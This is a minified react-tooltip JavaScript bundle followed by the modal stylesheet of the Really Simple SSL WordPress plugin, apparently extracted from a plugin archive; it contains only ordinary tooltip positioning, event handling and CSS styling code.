ue=async({elementReference:e=null,tooltipReference:t=null,tooltipArrowReference:o=null,place:n="top",offset:l=10,strategy:i="absolute",middlewares:c=[ne(Number(l)),le({fallbackAxisSideDirection:"start"}),re({padding:5})],border:s})=>{if(!e)return{tooltipStyles:{},tooltipArrowStyles:{},place:n};if(null===t)return{tooltipStyles:{},tooltipArrowStyles:{},place:n};const a=c;return o?(a.push({name:"arrow",options:u={element:o,padding:5},async fn(e){const{x:t,y:o,placement:n,rects:l,platform:i,elements:c,middlewareData:s}=e,{element:a,padding:p=0}=f(u,e)||{};if(null==a)return{};const y=x(p),v={x:t,y:o},w=g(n),b=h(w),_=await i.getDimensions(a),E="y"===w,S=E?"top":"left",A=E?"bottom":"right",T=E?"clientHeight":"clientWidth",R=l.reference[b]+l.reference[w]-v[w]-l.floating[b],O=v[w]-l.reference[w],k=await(null==i.getOffsetParent?void 0:i.getOffsetParent(a));let L=k?k[T]:0;L&&await(null==i.isElement?void 0:i.isElement(k))||(L=c.floating[T]||l.floating[b]);const C=R/2-O/2,N=L/2-_[b]/2-1,D=r(y[S],N),$=r(y[A],N),B=D,I=L-_[b]-$,j=L/2-_[b]/2+C,H=d(B,j,I),P=!s.arrow&&null!=m(n)&&j!==H&&l.reference[b]/2-(j<B?D:$)-_[b]/2<0,W=P?j<B?j-B:j-I:0;return{[w]:v[w]+W,data:{[w]:H,centerOffset:j-H-W,...P&&{alignmentOffset:W}},reset:P}}}),ie(e,t,{placement:n,strategy:i,middleware:a}).then((({x:e,y:t,placement:o,middlewareData:n})=>{var r,l;const i={left:`${e}px`,top:`${t}px`,border:s},{x:c,y:a}=null!==(r=n.arrow)&&void 0!==r?r:{x:0,y:0},u=null!==(l={top:"bottom",right:"left",bottom:"top",left:"right"}[o.split("-")[0]])&&void 0!==l?l:"bottom",d=s&&{borderBottom:s,borderRight:s};let f=0;if(s){const e=`${s}`.match(/(\d+)px/);f=(null==e?void 0:e[1])?Number(e[1]):1}return{tooltipStyles:i,tooltipArrowStyles:{left:null!=c?`${c}px`:"",top:null!=a?`${a}px`:"",right:"",bottom:"",...d,[u]:`-${4+f}px`},place:o}}))):ie(e,t,{placement:"bottom",strategy:i,middleware:a}).then((({x:e,y:t,placement:o})=>({tooltipStyles:{left:`${e}px`,top:`${t}px`},tooltipArrowStyles:{},place:o})));var u},de=(e,t)=>!("CSS"in window&&"supports"in window.CSS)||window.CSS.supports(e,t),fe=(e,t,o)=>{let n=null;const r=function(...r){const l=()=>{n=null,o||e.apply(this,r)};o&&!n&&(e.apply(this,r),n=setTimeout(l,t)),o||(n&&clearTimeout(n),n=setTimeout(l,t))};return r.cancel=()=>{n&&(clearTimeout(n),n=null)},r},pe=e=>null!==e&&!Array.isArray(e)&&"object"==typeof e,me=(e,t)=>{if(e===t)return!0;if(Array.isArray(e)&&Array.isArray(t))return e.length===t.length&&e.every(((e,o)=>me(e,t[o])));if(Array.isArray(e)!==Array.isArray(t))return!1;if(!pe(e)||!pe(t))return e===t;const o=Object.keys(e),n=Object.keys(t);return o.length===n.length&&o.every((o=>me(e[o],t[o])))},ye=e=>{if(!(e instanceof HTMLElement||e instanceof SVGElement))return!1;const t=getComputedStyle(e);return["overflow","overflow-x","overflow-y"].some((e=>{const o=t.getPropertyValue(e);return"auto"===o||"scroll"===o}))},he=e=>{if(!e)return null;let t=e.parentElement;for(;t;){if(ye(t))return t;t=t.parentElement}return document.scrollingElement||document.documentElement},ve="undefined"!=typeof window?n.useLayoutEffect:n.useEffect,ge={anchorRefs:new Set,activeAnchor:{current:null},attach:()=>{},detach:()=>{},setActiveAnchor:()=>{}},we=(0,n.createContext)({getTooltipData:()=>ge});function be(e="DEFAULT_TOOLTIP_ID"){return(0,n.useContext)(we).getTooltipData(e)}var xe={tooltip:"core-styles-module_tooltip__3vRRp",fixed:"core-styles-module_fixed__pcSol",arrow:"core-styles-module_arrow__cvMwQ",noArrow:"core-styles-module_noArrow__xock6",clickable:"core-styles-module_clickable__ZuTTB",show:"core-styles-module_show__Nt9eE",closing:"core-styles-module_closing__sGnxF"},_e={tooltip:"styles-module_tooltip__mnnfp",arrow:"styles-module_arrow__K0L3T",dark:"styles-module_dark__xNqje",light:"styles-module_light__Z6W-X",success:"styles-module_success__A2AKt",warning:"styles-module_warning__SCK0X",error:"styles-module_error__JvumD",info:"styles-module_info__BWdHW"};const Ee=({forwardRef:e,id:t,className:o,classNameArrow:i,variant:s="dark",anchorId:a,anchorSelect:u,place:d="top",offset:f=10,events:p=["hover"],openOnClick:m=!1,positionStrategy:y="absolute",middlewares:h,wrapper:v,delayShow:g=0,delayHide:w=0,float:b=!1,hidden:x=!1,noArrow:_=!1,clickable:E=!1,closeOnEsc:S=!1,closeOnScroll:A=!1,closeOnResize:T=!1,openEvents:O,closeEvents:k,globalCloseEvents:L,imperativeModeOnly:C,style:N,position:D,afterShow:$,afterHide:B,content:I,contentWrapperRef:j,isOpen:H,defaultIsOpen:P=!1,setIsOpen:W,activeAnchor:F,setActiveAnchor:V,border:q,opacity:K,arrowColor:Y,role:Z="tooltip"})=>{var G;const U=(0,n.useRef)(null),J=(0,n.useRef)(null),Q=(0,n.useRef)(null),ee=(0,n.useRef)(null),te=(0,n.useRef)(null),[oe,ne]=(0,n.useState)({tooltipStyles:{},tooltipArrowStyles:{},place:d}),[re,le]=(0,n.useState)(!1),[ie,se]=(0,n.useState)(!1),[ae,de]=(0,n.useState)(null),pe=(0,n.useRef)(!1),ye=(0,n.useRef)(null),{anchorRefs:ge,setActiveAnchor:we}=be(t),Ee=(0,n.useRef)(!1),[Se,Ae]=(0,n.useState)([]),Te=(0,n.useRef)(!1),Re=m||p.includes("click"),Oe=Re||(null==O?void 0:O.click)||(null==O?void 0:O.dblclick)||(null==O?void 0:O.mousedown),ke=O?{...O}:{mouseenter:!0,focus:!0,click:!1,dblclick:!1,mousedown:!1};!O&&Re&&Object.assign(ke,{mouseenter:!1,focus:!1,click:!0});const Le=k?{...k}:{mouseleave:!0,blur:!0,click:!1,dblclick:!1,mouseup:!1};!k&&Re&&Object.assign(Le,{mouseleave:!1,blur:!1});const Ce=L?{...L}:{escape:S||!1,scroll:A||!1,resize:T||!1,clickOutsideAnchor:Oe||!1};C&&(Object.assign(ke,{mouseenter:!1,focus:!1,click:!1,dblclick:!1,mousedown:!1}),Object.assign(Le,{mouseleave:!1,blur:!1,click:!1,dblclick:!1,mouseup:!1}),Object.assign(Ce,{escape:!1,scroll:!1,resize:!1,clickOutsideAnchor:!1})),ve((()=>(Te.current=!0,()=>{Te.current=!1})),[]);const Ne=e=>{Te.current&&(e&&se(!0),setTimeout((()=>{Te.current&&(null==W||W(e),void 0===H&&le(e))}),10))};(0,n.useEffect)((()=>{if(void 0===H)return()=>null;H&&se(!0);const e=setTimeout((()=>{le(H)}),10);return()=>{clearTimeout(e)}}),[H]),(0,n.useEffect)((()=>{if(re!==pe.current)if(te.current&&clearTimeout(te.current),pe.current=re,re)null==$||$();else{const e=(e=>{const t=getComputedStyle(document.body).getPropertyValue("--rt-transition-show-delay").match(/^([\d.]+)(ms|s)$/);if(!t)return 0;const[,o,n]=t;return Number(o)*("ms"===n?1:1e3)})();te.current=setTimeout((()=>{se(!1),de(null),null==B||B()}),e+25)}}),[re]);const De=e=>{ne((t=>me(t,e)?t:e))},$e=(e=g)=>{Q.current&&clearTimeout(Q.current),ie?Ne(!0):Q.current=setTimeout((()=>{Ne(!0)}),e)},Be=(e=w)=>{ee.current&&clearTimeout(ee.current),ee.current=setTimeout((()=>{Ee.current||Ne(!1)}),e)},Ie=e=>{var t;if(!e)return;const o=null!==(t=e.currentTarget)&&void 0!==t?t:e.target;if(!(null==o?void 0:o.isConnected))return V(null),void we({current:null});g?$e():Ne(!0),V(o),we({current:o}),ee.current&&clearTimeout(ee.current)},je=()=>{E?Be(w||100):w?Be():Ne(!1),Q.current&&clearTimeout(Q.current)},He=({x:e,y:t})=>{var o;const n={getBoundingClientRect:()=>({x:e,y:t,width:0,height:0,top:t,left:e,right:e,bottom:t})};ue({place:null!==(o=null==ae?void 0:ae.place)&&void 0!==o?o:d,offset:f,elementReference:n,tooltipReference:U.current,tooltipArrowReference:J.current,strategy:y,middlewares:h,border:q}).then((e=>{De(e)}))},Pe=e=>{if(!e)return;const t=e,o={x:t.clientX,y:t.clientY};He(o),ye.current=o},We=e=>{var t;if(!re)return;const o=e.target;o.isConnected&&((null===(t=U.current)||void 0===t?void 0:t.contains(o))||[document.querySelector(`[id='${a}']`),...Se].some((e=>null==e?void 0:e.contains(o)))||(Ne(!1),Q.current&&clearTimeout(Q.current)))},ze=fe(Ie,50,!0),Fe=fe(je,50,!0),Me=e=>{Fe.cancel(),ze(e)},Ve=()=>{ze.cancel(),Fe()},qe=(0,n.useCallback)((()=>{var e,t;const o=null!==(e=null==ae?void 0:ae.position)&&void 0!==e?e:D;o?He(o):b?ye.current&&He(ye.current):(null==F?void 0:F.isConnected)&&ue({place:null!==(t=null==ae?void 0:ae.place)&&void 0!==t?t:d,offset:f,elementReference:F,tooltipReference:U.current,tooltipArrowReference:J.current,strategy:y,middlewares:h,border:q}).then((e=>{Te.current&&De(e)}))}),[re,F,I,N,d,null==ae?void 0:ae.place,f,y,D,null==ae?void 0:ae.position,b]);(0,n.useEffect)((()=>{var e,t;const o=new Set(ge);Se.forEach((e=>{o.add({current:e})}));const n=document.querySelector(`[id='${a}']`);n&&o.add({current:n});const i=()=>{Ne(!1)},s=he(F),u=he(U.current);Ce.scroll&&(window.addEventListener("scroll",i),null==s||s.addEventListener("scroll",i),null==u||u.addEventListener("scroll",i));let d=null;Ce.resize?window.addEventListener("resize",i):F&&U.current&&(d=function(e,t,o,n){void 0===n&&(n={});const{ancestorScroll:i=!0,ancestorResize:s=!0,elementResize:a="function"==typeof ResizeObserver,layoutShift:u="function"==typeof IntersectionObserver,animationFrame:d=!1}=n,f=M(e),p=i||s?[...f?z(f):[],...z(t)]:[];p.forEach((e=>{i&&e.addEventListener("scroll",o,{passive:!0}),s&&e.addEventListener("resize",o)}));const m=f&&u?function(e,t){let o,n=null;const i=R(e);function s(){var e;clearTimeout(o),null==(e=n)||e.disconnect(),n=null}return function a(u,d){void 0===u&&(u=!1),void 0===d&&(d=1),s();const{left:f,top:p,width:m,height:y}=e.getBoundingClientRect();if(u||t(),!m||!y)return;const h={rootMargin:-c(p)+"px "+-c(i.clientWidth-(f+m))+"px "+-c(i.clientHeight-(p+y))+"px "+-c(f)+"px",threshold:l(0,r(1,d))||1};let v=!0;function g(e){const t=e[0].intersectionRatio;if(t!==d){if(!v)return a();t?a(!1,t):o=setTimeout((()=>{a(!1,1e-7)}),1e3)}v=!1}try{n=new IntersectionObserver(g,{...h,root:i.ownerDocument})}catch(e){n=new IntersectionObserver(g,h)}n.observe(e)}(!0),s}(f,o):null;let y,h=-1,v=null;a&&(v=new ResizeObserver((e=>{let[n]=e;n&&n.target===f&&v&&(v.unobserve(t),cancelAnimationFrame(h),h=requestAnimationFrame((()=>{var e;null==(e=v)||e.observe(t)}))),o()})),f&&!d&&v.observe(f),v.observe(t));let g=d?X(e):null;return d&&function t(){const n=X(e);!g||n.x===g.x&&n.y===g.y&&n.width===g.width&&n.height===g.height||o(),g=n,y=requestAnimationFrame(t)}(),o(),()=>{var e;p.forEach((e=>{i&&e.removeEventListener("scroll",o),s&&e.removeEventListener("resize",o)})),null==m||m(),null==(e=v)||e.disconnect(),v=null,d&&cancelAnimationFrame(y)}}(F,U.current,qe,{ancestorResize:!0,elementResize:!0,layoutShift:!0}));const f=e=>{"Escape"===e.key&&Ne(!1)};Ce.escape&&window.addEventListener("keydown",f),Ce.clickOutsideAnchor&&window.addEventListener("click",We);const p=[],m=e=>{re&&(null==e?void 0:e.target)===F||Ie(e)},y=e=>{re&&(null==e?void 0:e.target)===F&&je()},h=["mouseenter","mouseleave","focus","blur"],v=["click","dblclick","mousedown","mouseup"];Object.entries(ke).forEach((([e,t])=>{t&&(h.includes(e)?p.push({event:e,listener:Me}):v.includes(e)&&p.push({event:e,listener:m}))})),Object.entries(Le).forEach((([e,t])=>{t&&(h.includes(e)?p.push({event:e,listener:Ve}):v.includes(e)&&p.push({event:e,listener:y}))})),b&&p.push({event:"pointermove",listener:Pe});const g=()=>{Ee.current=!0},w=()=>{Ee.current=!1,je()};return E&&!Oe&&(null===(e=U.current)||void 0===e||e.addEventListener("mouseenter",g),null===(t=U.current)||void 0===t||t.addEventListener("mouseleave",w)),p.forEach((({event:e,listener:t})=>{o.forEach((o=>{var n;null===(n=o.current)||void 0===n||n.addEventListener(e,t)}))})),()=>{var e,t;Ce.scroll&&(window.removeEventListener("scroll",i),null==s||s.removeEventListener("scroll",i),null==u||u.removeEventListener("scroll",i)),Ce.resize?window.removeEventListener("resize",i):null==d||d(),Ce.clickOutsideAnchor&&window.removeEventListener("click",We),Ce.escape&&window.removeEventListener("keydown",f),E&&!Oe&&(null===(e=U.current)||void 0===e||e.removeEventListener("mouseenter",g),null===(t=U.current)||void 0===t||t.removeEventListener("mouseleave",w)),p.forEach((({event:e,listener:t})=>{o.forEach((o=>{var n;null===(n=o.current)||void 0===n||n.removeEventListener(e,t)}))}))}}),[F,qe,ie,ge,Se,O,k,L,Re,g,w]),(0,n.useEffect)((()=>{var e,o;let n=null!==(o=null!==(e=null==ae?void 0:ae.anchorSelect)&&void 0!==e?e:u)&&void 0!==o?o:"";!n&&t&&(n=`[data-tooltip-id='${t.replace(/'/g,"\\'")}']`);const r=new MutationObserver((e=>{const o=[],r=[];e.forEach((e=>{if("attributes"===e.type&&"data-tooltip-id"===e.attributeName&&(e.target.getAttribute("data-tooltip-id")===t?o.push(e.target):e.oldValue===t&&r.push(e.target)),"childList"===e.type){if(F){const t=[...e.removedNodes].filter((e=>1===e.nodeType));if(n)try{r.push(...t.filter((e=>e.matches(n)))),r.push(...t.flatMap((e=>[...e.querySelectorAll(n)])))}catch(e){}t.some((e=>{var t;return!!(null===(t=null==e?void 0:e.contains)||void 0===t?void 0:t.call(e,F))&&(se(!1),Ne(!1),V(null),Q.current&&clearTimeout(Q.current),ee.current&&clearTimeout(ee.current),!0)}))}if(n)try{const t=[...e.addedNodes].filter((e=>1===e.nodeType));o.push(...t.filter((e=>e.matches(n)))),o.push(...t.flatMap((e=>[...e.querySelectorAll(n)])))}catch(e){}}})),(o.length||r.length)&&Ae((e=>[...e.filter((e=>!r.includes(e))),...o]))}));return r.observe(document.body,{childList:!0,subtree:!0,attributes:!0,attributeFilter:["data-tooltip-id"],attributeOldValue:!0}),()=>{r.disconnect()}}),[t,u,null==ae?void 0:ae.anchorSelect,F]),(0,n.useEffect)((()=>{qe()}),[qe]),(0,n.useEffect)((()=>{if(!(null==j?void 0:j.current))return()=>null;const e=new ResizeObserver((()=>{setTimeout((()=>qe()))}));return e.observe(j.current),()=>{e.disconnect()}}),[I,null==j?void 0:j.current]),(0,n.useEffect)((()=>{var e;const t=document.querySelector(`[id='${a}']`),o=[...Se,t];F&&o.includes(F)||V(null!==(e=Se[0])&&void 0!==e?e:t)}),[a,Se,F]),(0,n.useEffect)((()=>(P&&Ne(!0),()=>{Q.current&&clearTimeout(Q.current),ee.current&&clearTimeout(ee.current)})),[]),(0,n.useEffect)((()=>{var e;let o=null!==(e=null==ae?void 0:ae.anchorSelect)&&void 0!==e?e:u;if(!o&&t&&(o=`[data-tooltip-id='${t.replace(/'/g,"\\'")}']`),o)try{const e=Array.from(document.querySelectorAll(o));Ae(e)}catch(e){Ae([])}}),[t,u,null==ae?void 0:ae.anchorSelect]),(0,n.useEffect)((()=>{Q.current&&(clearTimeout(Q.current),$e(g))}),[g]);const Ke=null!==(G=null==ae?void 0:ae.content)&&void 0!==G?G:I,Xe=re&&Object.keys(oe.tooltipStyles).length>0;return(0,n.useImperativeHandle)(e,(()=>({open:e=>{if(null==e?void 0:e.anchorSelect)try{document.querySelector(e.anchorSelect)}catch(t){return void console.warn(`[react-tooltip] "${e.anchorSelect}" is not a valid CSS selector`)}de(null!=e?e:null),(null==e?void 0:e.delay)?$e(e.delay):Ne(!0)},close:e=>{(null==e?void 0:e.delay)?Be(e.delay):Ne(!1)},activeAnchor:F,place:oe.place,isOpen:Boolean(ie&&!x&&Ke&&Xe)}))),ie&&!x&&Ke?n.createElement(v,{id:t,role:Z,className:ce("react-tooltip",xe.tooltip,_e.tooltip,_e[s],o,`react-tooltip__place-${oe.place}`,xe[Xe?"show":"closing"],Xe?"react-tooltip__show":"react-tooltip__closing","fixed"===y&&xe.fixed,E&&xe.clickable),onTransitionEnd:e=>{te.current&&clearTimeout(te.current),re||"opacity"!==e.propertyName||(se(!1),de(null),null==B||B())},style:{...N,...oe.tooltipStyles,opacity:void 0!==K&&Xe?K:void 0},ref:U},Ke,n.createElement(v,{className:ce("react-tooltip-arrow",xe.arrow,_e.arrow,i,_&&xe.noArrow),style:{...oe.tooltipArrowStyles,background:Y?`linear-gradient(to right bottom, transparent 50%, ${Y} 50%)`:void 0},ref:J})):null},Se=({content:e})=>n.createElement("span",{dangerouslySetInnerHTML:{__html:e}}),Ae=n.forwardRef((({id:e,anchorId:t,anchorSelect:o,content:r,html:l,render:i,className:c,classNameArrow:s,variant:a="dark",place:u="top",offset:d=10,wrapper:f="div",children:p=null,events:m=["hover"],openOnClick:y=!1,positionStrategy:h="absolute",middlewares:v,delayShow:g=0,delayHide:w=0,float:b=!1,hidden:x=!1,noArrow:_=!1,clickable:E=!1,closeOnEsc:S=!1,closeOnScroll:A=!1,closeOnResize:T=!1,openEvents:R,closeEvents:O,globalCloseEvents:k,imperativeModeOnly:L=!1,style:C,position:N,isOpen:D,defaultIsOpen:$=!1,disableStyleInjection:B=!1,border:I,opacity:j,arrowColor:H,setIsOpen:P,afterShow:W,afterHide:z,role:F="tooltip"},M)=>{const[V,q]=(0,n.useState)(r),[K,X]=(0,n.useState)(l),[Y,Z]=(0,n.useState)(u),[G,U]=(0,n.useState)(a),[J,Q]=(0,n.useState)(d),[ee,te]=(0,n.useState)(g),[oe,ne]=(0,n.useState)(w),[re,le]=(0,n.useState)(b),[ie,se]=(0,n.useState)(x),[ae,ue]=(0,n.useState)(f),[fe,pe]=(0,n.useState)(m),[me,ye]=(0,n.useState)(h),[he,ve]=(0,n.useState)(null),[ge,we]=(0,n.useState)(null),xe=(0,n.useRef)(B),{anchorRefs:_e,activeAnchor:Ae}=be(e),Te=e=>null==e?void 0:e.getAttributeNames().reduce(((t,o)=>{var n;return o.startsWith("data-tooltip-")&&(t[o.replace(/^data-tooltip-/,"")]=null!==(n=null==e?void 0:e.getAttribute(o))&&void 0!==n?n:null),t}),{}),Re=e=>{const t={place:e=>{var t;Z(null!==(t=e)&&void 0!==t?t:u)},content:e=>{q(null!=e?e:r)},html:e=>{X(null!=e?e:l)},variant:e=>{var t;U(null!==(t=e)&&void 0!==t?t:a)},offset:e=>{Q(null===e?d:Number(e))},wrapper:e=>{var t;ue(null!==(t=e)&&void 0!==t?t:f)},events:e=>{const t=null==e?void 0:e.split(" ");pe(null!=t?t:m)},"position-strategy":e=>{var t;ye(null!==(t=e)&&void 0!==t?t:h)},"delay-show":e=>{te(null===e?g:Number(e))},"delay-hide":e=>{ne(null===e?w:Number(e))},float:e=>{le(null===e?b:"true"===e)},hidden:e=>{se(null===e?x:"true"===e)},"class-name":e=>{ve(e)}};Object.values(t).forEach((e=>e(null))),Object.entries(e).forEach((([e,o])=>{var n;null===(n=t[e])||void 0===n||n.call(t,o)}))};(0,n.useEffect)((()=>{q(r)}),[r]),(0,n.useEffect)((()=>{X(l)}),[l]),(0,n.useEffect)((()=>{Z(u)}),[u]),(0,n.useEffect)((()=>{U(a)}),[a]),(0,n.useEffect)((()=>{Q(d)}),[d]),(0,n.useEffect)((()=>{te(g)}),[g]),(0,n.useEffect)((()=>{ne(w)}),[w]),(0,n.useEffect)((()=>{le(b)}),[b]),(0,n.useEffect)((()=>{se(x)}),[x]),(0,n.useEffect)((()=>{ye(h)}),[h]),(0,n.useEffect)((()=>{xe.current!==B&&console.warn("[react-tooltip] Do not change `disableStyleInjection` dynamically.")}),[B]),(0,n.useEffect)((()=>{"undefined"!=typeof window&&window.dispatchEvent(new CustomEvent("react-tooltip-inject-styles",{detail:{disableCore:"core"===B,disableBase:B}}))}),[]),(0,n.useEffect)((()=>{var n;const r=new Set(_e);let l=o;if(!l&&e&&(l=`[data-tooltip-id='${e.replace(/'/g,"\\'")}']`),l)try{document.querySelectorAll(l).forEach((e=>{r.add({current:e})}))}catch(n){console.warn(`[react-tooltip] "${l}" is not a valid CSS selector`)}const i=document.querySelector(`[id='${t}']`);if(i&&r.add({current:i}),!r.size)return()=>null;const c=null!==(n=null!=ge?ge:i)&&void 0!==n?n:Ae.current,s=new MutationObserver((e=>{e.forEach((e=>{var t;if(!c||"attributes"!==e.type||!(null===(t=e.attributeName)||void 0===t?void 0:t.startsWith("data-tooltip-")))return;const o=Te(c);Re(o)}))})),a={attributes:!0,childList:!1,subtree:!1};if(c){const e=Te(c);Re(e),s.observe(c,a)}return()=>{s.disconnect()}}),[_e,Ae,ge,t,o]),(0,n.useEffect)((()=>{(null==C?void 0:C.border)&&console.warn("[react-tooltip] Do not set `style.border`. Use `border` prop instead."),I&&!de("border",`${I}`)&&console.warn(`[react-tooltip] "${I}" is not a valid \`border\`.`),(null==C?void 0:C.opacity)&&console.warn("[react-tooltip] Do not set `style.opacity`. Use `opacity` prop instead."),j&&!de("opacity",`${j}`)&&console.warn(`[react-tooltip] "${j}" is not a valid \`opacity\`.`)}),[]);let Oe=p;const ke=(0,n.useRef)(null);if(i){const e=i({content:(null==ge?void 0:ge.getAttribute("data-tooltip-content"))||V||null,activeAnchor:ge});Oe=e?n.createElement("div",{ref:ke,className:"react-tooltip-content-wrapper"},e):null}else V&&(Oe=V);K&&(Oe=n.createElement(Se,{content:K}));const Le={forwardRef:M,id:e,anchorId:t,anchorSelect:o,className:ce(c,he),classNameArrow:s,content:Oe,contentWrapperRef:ke,place:Y,variant:G,offset:J,wrapper:ae,events:fe,openOnClick:y,positionStrategy:me,middlewares:v,delayShow:ee,delayHide:oe,float:re,hidden:ie,noArrow:_,clickable:E,closeOnEsc:S,closeOnScroll:A,closeOnResize:T,openEvents:R,closeEvents:O,globalCloseEvents:k,imperativeModeOnly:L,style:C,position:N,isOpen:D,defaultIsOpen:$,border:I,opacity:j,arrowColor:H,setIsOpen:P,afterShow:W,afterHide:z,activeAnchor:ge,setActiveAnchor:e=>we(e),role:F};return n.createElement(Ee,{...Le})}));"undefined"!=typeof window&&window.addEventListener("react-tooltip-inject-styles",(e=>{e.detail.disableCore||ae({css:":root{--rt-color-white:#fff;--rt-color-dark:#222;--rt-color-success:#8dc572;--rt-color-error:#be6464;--rt-color-warning:#f0ad4e;--rt-color-info:#337ab7;--rt-opacity:0.9;--rt-transition-show-delay:0.15s;--rt-transition-closing-delay:0.15s}.core-styles-module_tooltip__3vRRp{position:absolute;top:0;left:0;pointer-events:none;opacity:0;will-change:opacity}.core-styles-module_fixed__pcSol{position:fixed}.core-styles-module_arrow__cvMwQ{position:absolute;background:inherit}.core-styles-module_noArrow__xock6{display:none}.core-styles-module_clickable__ZuTTB{pointer-events:auto}.core-styles-module_show__Nt9eE{opacity:var(--rt-opacity);transition:opacity var(--rt-transition-show-delay)ease-out}.core-styles-module_closing__sGnxF{opacity:0;transition:opacity var(--rt-transition-closing-delay)ease-in}",type:"core"}),e.detail.disableBase||ae({css:"\n.styles-module_tooltip__mnnfp{padding:8px 16px;border-radius:3px;font-size:90%;width:max-content}.styles-module_arrow__K0L3T{width:8px;height:8px}[class*='react-tooltip__place-top']>.styles-module_arrow__K0L3T{transform:rotate(45deg)}[class*='react-tooltip__place-right']>.styles-module_arrow__K0L3T{transform:rotate(135deg)}[class*='react-tooltip__place-bottom']>.styles-module_arrow__K0L3T{transform:rotate(225deg)}[class*='react-tooltip__place-left']>.styles-module_arrow__K0L3T{transform:rotate(315deg)}.styles-module_dark__xNqje{background:var(--rt-color-dark);color:var(--rt-color-white)}.styles-module_light__Z6W-X{background-color:var(--rt-color-white);color:var(--rt-color-dark)}.styles-module_success__A2AKt{background-color:var(--rt-color-success);color:var(--rt-color-white)}.styles-module_warning__SCK0X{background-color:var(--rt-color-warning);color:var(--rt-color-white)}.styles-module_error__JvumD{background-color:var(--rt-color-error);color:var(--rt-color-white)}.styles-module_info__BWdHW{background-color:var(--rt-color-info);color:var(--rt-color-white)}",type:"base"})}))}}]);really-simple-ssl/modal/build/433.css000064400000010310147510273070013341 0ustar00:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,.1) 0px 4px 6px -1px,rgba(0,0,0,.06) 0px 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,.2) 0px 4px 6px -1px,rgba(0,0,0,.12) 1px 0px 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,.9);--rsp-text-color-invert:hsla(0,0%,100%,.9);--rsp-text-color-white:hsla(0,0%,100%,.9);--rsp-text-color-light:rgba(69,69,82,.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:0.6875rem;--rsp-fs-200:0.75rem;--rsp-fs-300:0.8125rem;--rsp-fs-400:0.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}to{opacity:1}}.rsssl-modal{border-radius:var(--rsp-border-radius) var(--rsp-border-radius);border-top:1px solid var(--rsp-grey-300);box-shadow:var(--rsp-box-shadow);margin:auto;max-height:calc(100% - 120px);max-width:700px;overflow:visible;padding:var(--rsp-spacing-m) var(--rsp-spacing-l);width:700px}@media(max-width:768px){.rsssl-modal{width:100%}}.rsssl-modal .components-modal__content{margin-top:45px;min-height:250px;padding:0}.rsssl-modal .components-modal__content>div:nth-child(2){display:flex;flex-direction:column;height:100%}.rsssl-modal .rsssl-modal-body{flex-grow:1;padding:12px 8px 80px}@media(max-width:768px){.rsssl-modal .rsssl-modal-body{padding:12px 8px 180px}}.rsssl-modal .rsssl-modal-body p{margin-top:0}.rsssl-modal .rsssl-modal-body ul{-moz-column-count:2;column-count:2;-moz-column-gap:20px;column-gap:20px;margin-bottom:0}.rsssl-modal .rsssl-modal-body ul li{display:flex;padding-bottom:5px}.rsssl-modal .rsssl-modal-body ul li .rsssl-icon{margin-right:10px;margin-top:2px}.rsssl-modal .rsssl-modal-footer{align-items:center;background-color:var(--rsp-grey-200);border-bottom-left-radius:var(--rsp-border-radius) var(--rsp-border-radius);border-bottom-right-radius:var(--rsp-border-radius) var(--rsp-border-radius);border-top:1px solid var(--rsp-grey-400);bottom:0;display:flex;justify-content:space-between;left:0;padding:20px 32px;position:absolute;right:0}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons{display:flex}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons .rsssl-activate-license-text{color:var(--rsp-red);margin-right:10px}.rsssl-modal .rsssl-modal-footer img{width:150px}@media(max-width:768px){.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-image{display:none}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons{align-items:center;display:flex;flex-direction:column;gap:10px;width:100%}.rsssl-modal .rsssl-modal-footer .rsssl-modal-footer-buttons button{margin:0;width:100%}}.rsssl-modal .rsssl-modal-footer button+a,.rsssl-modal .rsssl-modal-footer button+button{margin-left:10px}.rsssl-modal .rsssl-modal-footer button:not(.is-primary){background-color:transparent;border:1px solid var(--wp-admin-theme-color,#3858e9);color:var(--wp-admin-theme-color,#3858e9)}.rsssl-modal .rsssl-modal-footer button.rsssl-modal-warning{background-color:transparent;border:1px solid var(--rsp-red);color:var(--rsp-red)}
